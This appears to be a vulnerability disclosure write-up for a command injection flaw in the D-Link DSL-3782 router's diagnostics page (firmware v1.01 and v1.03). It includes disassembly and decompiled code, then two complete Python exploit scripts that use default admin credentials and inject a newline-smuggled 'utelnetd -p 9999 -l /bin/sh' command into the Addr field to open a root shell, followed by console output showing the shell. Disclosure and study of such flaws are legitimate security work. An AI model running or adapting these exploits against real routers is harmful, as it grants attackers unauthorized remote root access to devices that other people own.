

🔑 main ▼

...

Vuls / D-Link / DSL-3782 / CMDi_in_D-Link DSL-3782.md



1160300418 first commit

🕒 History

👤 1 contributor



180 lines (132 sloc) | 5.22 KB

...

Vendor of the products: D-Link

Reported by: x.sunzh@gmail.com

Affected products: DSL-3782 v1.01, DSL-3782 v1.03

Command injection

Code in cfg_manger

```

.text:00474B5C      move     $a1, $s1
.text:00474BA0      li       $a2, aAddr          # "Addr"
.text:00474BA4      jalr     $t9 ; getAttrValue
.text:00474BA8      move     $a3, $s1
.text:00474BAC      bnez     $v0, loc_474B4C
.text:00474BB0      lw       $gp, 0x10($sp)
.text:00474BB4      lb       $v0, 0x1C($sp)
.text:00474BB8      beqz     $v0, loc_474B50
.text:00474BBC      li       $v1, 0xFFFFFFFF
.text:00474BC0      jal      sub_4622DC
.text:00474BC4      move     $a0, $s1
.text:00474BC8      bnez     $v0, loc_474B4C
.text:00474BCC      lw       $gp, 0x10($sp)
.text:00474BD0      la       $t9, memset
.text:00474BD4      lui      $v0, 0x4C          # 'L'
.text:00474BD8      addiu    $s2, $v0, (byte_4C0160 - 0x4C0000)
.text:00474BDC      move     $a0, $s2
.text:00474BE0      move     $a1, $zero
.text:00474BE4      jalr     $t9 ; memset
.text:00474BE8      li       $a2, 0x80
.text:00474BEC      li       $v0, 0x70          # 'p'
.text:00474BF0      beq      $s0, $v0, loc_474C58
.text:00474BF4      lw       $gp, 0x10($sp)
.text:00474BF8      la       $t9, sprintf
.text:00474BFC      lui      $a1, 0x4A          # 'J'
.text:00474C00      move     $a0, $s2
.text:00474C04      li       $a1, aTracerouteNM10 # "traceroute -n -m 10 -w 2 %s > /tmp/var/"...
.text:00474C08      jalr     $t9 ; sprintf
.text:00474C0C      move     $a2, $s1
.text:00474C10      lw       $gp, 0x10($sp)
.text:00474C14      loc_474C14:                  # CODE XREF: .text:00474C70↓j
.text:00474C14      la       $t9, pthread_create
.text:00474C18      li       $a2, sub_474C78

```

The binary program `cfg_manager` first calls `sprintf`, concatenates the string `"traceroute -n -m 10 -w 2 %s > /tmp/var/alpha_diag.tmp 2>&1"` with the value read from `Addr`, and then passes it to `byte_4C0160`. Then, `cfg_manger` runs the `sub_474c78` function in another thread via `pthread_create`.

```

1 int sub_474C78()
2 {
3     int v0; // $v1
4     int result; // $v0
5     int v2; // $v1
6
7     tcapi_set("Diagnostics_Entry", "Result", "0");
8     if ( byte_4C01E1 != 112 )
9     {
10         if ( byte_4C01E1 == 116 )
11         {
12             system("killall -9 traceroute");
13             system("rm -f /tmp/var/alpha_diap.tmp");
14         }
15         byte_4C01E1 = byte_4C01E0;
16         v0 = system(byte_4C0160);
17         if ( v0 != -1 )
18             goto LABEL_5;
19         return tcdbg_printf("Run command error!\n");
20     }
21     system("killall -9 ping");
22     system("rm -f /tmp/var/alpha_diag.tmp");
23     byte_4C01E1 = byte_4C01E0;
24     v0 = system(byte_4C0160);
25     if ( v0 == -1 )
26         return tcdbg_printf("Run command error!\n");
27 LABEL_5:

```

In the sub_474c78 function, byte_4C0160 is executed as a parameter of system.

In v1.01

exp

```

import requests
import urllib
from pwn import *
import os
from time import sleep

```

```

context.binary = "./_DSL-3782_A1_EU_1.01_07282016.bin.extracted/squashfs-root/userfs
context.endian = "big"
context.arch = "mips"

```

```

server = "192.168.1.1"
main_url = "http://192.168.1.1:80"

```

```

def login():
    s = requests.Session()
    s.verify = False
    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/5
    }
    # url = main_url + "/cgi-bin/Login.asp?User=admin&Pwd=admin&_=1640832458081"
    url = main_url + "/cgi-bin/Login.asp?User=admin&Pwd=admin&_=1650704806457 "
    resp = s.get(url, headers=headers, timeout=10)
    print resp.text

def get_session_key():
    s = requests.Session()
    s.verify = False
    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/5
    }
    url = main_url + "/cgi-bin/get/New_GUI/get_sessionKey.asp"
    resp = s.get(url, headers=headers, timeout=10)
    sessionKey = resp.text
    print(sessionKey)
    return sessionKey

def exp(sessionKey=None):
    # libc_base = input('libc_base:')
    cmd = "%0autelnetd -p 9999 -l /bin/sh%0aecho yab..."

    s = requests.Session()
    s.verify = False
    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/5
    }
    params = {
        "Type": "p", "sessionKey": urllib.unquote(sessionKey),
        "Addr": urllib.unquote(cmd)
    }
    url = main_url + "/cgi-bin/New_GUI/Set/Diagnostics.asp"
    resp = s.post(url, data=params, headers=headers, timeout=100000)
    print resp.text

if __name__ == '__main__':
    print '\n[*] Connection %r' % main_url
    login()
    print '[*] Getting session key'
    sessionKey = get_session_key()
    print '[*] Sending payload'

```

```

exp(sessionKey=sessionKey)
print '[*] Running Telnetd Service'
print '[*] Opening Telnet Connection\n'
sleep(2)
os.system('telnet ' + str(server) + ' 9999')

```

Attack effect

```

(root@kali)-[/home/fws/dsl-3782]
# python2 payload.py
[*] '/home/fws/dsl-3782/_DSL-3782_A1_EU_1.01_07282016.bin.extracted/squashfs-root/userfs/bin/cfg_manager'
Arch:      mips-32-big
RELRO:     No RELRO
Stack:     No canary found
NX:        NX disabled
PIE:       No PIE (0x400000)
RWX:       Has RWX segments

[*] Connection 'http://192.168.1.1:80'

[*] Getting session key
1957747793
[*] Sending payload

[*] Running Telnetd Service
[*] Opening Telnet Connection

Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^'.
# ls
bin          etc          linuxrc      sbin         usr
boaroot      firmadyne    lost+found   tmp          var
dev          lib          proc         userfs

# ps | grep telnet
 368 admin      180 S    utelnetd -l /bin/login -d
 5883 admin     436 S    sh -c /bin/ping -c 4 -W 2 utelnetd -p 9999 -l /bin/s
 5885 admin     324 S    utelnetd -p 9999 -l /bin/sh
22370 admin     348 S    grep telnet
#

```

In v1.03

In fact, the patch in v1.03 has very little impact on the command injection vulnerability I reported.

exp

Now, the attacker needs to first log in to the router's management page to obtain the "SESSIONID_AUTH" field value. Then, the only thing he needs to do is to run the exploit script below with the "SESSIONID_AUTH" he just got.

```

import requests
import urllib

```

```

from pwn import *
import os
from time import sleep

context.binary = "../new/_DSL-3782_A1_EU_1.03_04042018.bin.extracted/squashfs-root/u
context.endian = "big"
context.arch = "mips"

server = "192.168.1.1"
main_url = "http://192.168.1.1:80"

def get_session_key(AUTH):
    s = requests.Session()
    s.verify = False
    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/5
        "Cookie": "SESSIONID_AUTH=%s" %AUTH
    }
    url = main_url + "/cgi-bin/get/New_GUI/get_sessionKey.asp"
    resp = s.get(url, headers=headers, timeout=10)
    sessionKey = resp.text
    print(sessionKey)
    return sessionKey

def exp(sessionKey=None, AUTH=''):
    cmd = "%0autelnetd -p 9999%0a"

    s = requests.Session()
    s.verify = False
    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/5
        "Cookie": "SESSIONID_AUTH=%s" %AUTH
    }
    params = {
        "Type": "t", "sessionKey": urllib.unquote(sessionKey),
        "Addr": urllib.unquote(cmd),
        "SESSIONID_AUTH": urllib.unquote(AUTH)
    }
    url = main_url + "/cgi-bin/New_GUI/Set/Diagnostics.asp"
    resp = s.post(url, data=params, headers=headers, timeout=100000)
    print resp.text

if __name__ == '__main__':
    print '\n[*] Connection %r' % main_url
    print '[*] Getting session key'

```

```

a = input() # input the SESSIONID_AUTH
sessionKey = get_session_key(a)
print '[*] Sending payload'
exp(sessionKey=sessionKey, AUTH=a)
print '[*] Running Telnetd Service'
print '[*] Opening Telnet Connection\n'
sleep(2)
os.system('telnet ' + str(server) + ' 9999')

```

Attack effect

The attacker:

```

(root@kali)-[/home/fws/dsl-3782] Options
# python payload.py
[*] '/home/fws/dsl-3782/_DSL-3782_A1_EU_1.03_04042018.bin.extracted/squashfs-root/userfs/bin/cfg_manager'
Arch:      mips-32-big
RELRO:     No RELRO
Stack:     No canary found
NX:        NX disabled
PIE:       No PIE (0x400000)
RWX:       Has RWX segments

[*] Connection 'http://192.168.1.1:80'
[*] Getting session key
"1e1440b4"
781587855
[*] Sending payload

[*] Running Telnetd Service
[*] Opening Telnet Connection

Trying 192.168.1.1 ...
Connected to 192.168.1.1.
Escape character is '^]'.
tc login: admin
Password:
# ls
bin          etc          linuxrc     /sbin        usr
boaroot      firmadyne   lost+found  tmp         var
dev          lib         proc        userfs

# pwd
/
#

```

The target:

```

# ps -ef | grep tel
4667 admin      352 S      grep tel
# ps -ef | grep tel
5520 admin      428 S      sh -c traceroute -n -m 10 -w 2 utelnetd -p 9999 > /
5522 admin      324 S      utelnetd -p 9999
6162 admin      352 S      grep tel
#

```